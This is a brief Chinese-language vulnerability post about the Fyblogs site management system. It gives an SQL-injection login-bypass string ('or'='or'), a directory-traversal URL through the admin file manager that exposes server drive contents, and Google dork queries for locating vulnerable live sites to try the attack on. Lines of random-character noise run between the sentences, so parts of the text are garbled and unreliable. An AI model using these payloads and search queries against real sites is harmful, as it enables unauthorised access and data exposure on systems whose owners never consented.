Fyblogs网站管理系统漏洞

admin

漏洞类型： 未授权访问/权限绕过
% ]6 P' F: U3 @2 U9 h$ [* J% K( m5 `
5 |* k7 K, z1 t: N+ v, e& a& H简要描述：
5 \# L8 U3 ]- |! b) e, n
# K+ |* i2 q" H* m3 B: @Fyblogs网站管理系统,，后台存在万能密码，后台文件管理存在绕过。导致浏览所在盘符信息。信息泄露！
$ w. l5 ~9 |0 X( m- ?5 N% M
8 L; Y& ^3 I/ |% [* G! Y2 Z! m! I详细说明：

9 g1 S, N' p' w! m' Y) N后台万能密码 'or'='or'
  g; d+ f6 x2 r8 S1 Z: Q4 P后台文件管理存在绕过。导致浏览所在盘符信息。信息泄露！
1 W! u( i9 L. l& radmin/uploadfile.asp?currentFolder=/upfiles/../

漏洞证明：

谷歌：inurl:type.asp?id=1 新闻中心
. ]% W/ z% P3 j! P$ E( W或者 ：inurl:download_ok.asp?
, I  H5 S' @, h- M3 D
可以测试
, y% ^' c& d" Y$ c
( b+ h, a7 w6 n: G: H9 N​
' r/ s2 T" v" W# z( n# x